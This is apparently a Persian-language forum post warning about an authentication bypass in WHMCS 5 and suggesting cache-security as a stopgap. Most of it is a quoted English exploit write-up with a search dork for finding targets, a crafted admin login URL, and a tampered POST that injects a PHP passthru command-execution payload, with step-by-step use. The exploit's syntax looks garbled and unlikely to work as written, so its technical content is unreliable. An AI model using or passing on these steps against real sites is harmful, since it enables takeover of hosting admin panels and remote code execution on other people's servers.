با سلام
مشکل امنیتی جدیدی در WHCS ورژن 5 وجود دارد که باعث می شود شخص نفوذگر به صفحه ادمین دسترسی پیدا کند.
راه کار : تا ارایه Patch از ناحیه WHMCS می توانید قابلیت cache-security را در WHMCS خود فعال نمایید . گفتنی است که امکان cache-security به صورت پیش فرض بر روی whmcs 5.1 فعال می باشد.
اطلاعات تکمیلی :
WHMCS 5.x Authentication Bypass - CXSecurity WLB (http://cxsecurity.com/issue/WLB-2013010026)
WHMCS 5.x versions suffers from a cookie-validation vulnerability, where sessions can be modified and authentication can
be easily bypassed.

# Description : WHMCS 5.x Authentication Bypass Vulnerability
# Author : Agd_Scorp
# Contact: vorscorp@hotmail.com
# Version : 5.x
# Link : Order Now - WHMCS (http://www.whmcs.com/order-now/)
# Date : Monday, December 31, 2012
# Dork : intext:Powered by WHMCompleteSolution
##################################################
Recommended: You must have BEeF or Tamper Data already installed, I do not recommend doing this process manually.
# The Fact:
WHMCS
5.0 is completely vulnerable to this vulenrability, but in 5.1 version,
WHMCS has added extra cache-security, so I've added an extra-payload
for it, you can do the exploitation-process without the payload in the
5.0 version.
# The Exploitation
http://site.com/whmcs/admin/login.php?correct&cache=1?login=getpost{}
after
you have successfully entered that into your browser, the page will lag
for abit due to the cache-validation, which we, ofcourse, will change
it. ;-)
when the page is loading, quickly open Tamper Data and change the loading POST_SESSION request & the payload to
this:
POST: $post(login=1);passthru(base64_decode(\$_SERVER[HTTP_CMD]))&login_cancel;die;";
Payload: $payload = "login=1&title=1&execorder=0&hook=urlencoded&redirect={admin_index}";
# The Result
Once
you have done this process, you will be automatically be redirected to
the admin page, although, if the administrator has enabled
cache-security, this process will fail.
# Solution & Fix
No solution & fix, just wait for the WHMCS team to release a patch for this vulnerability.
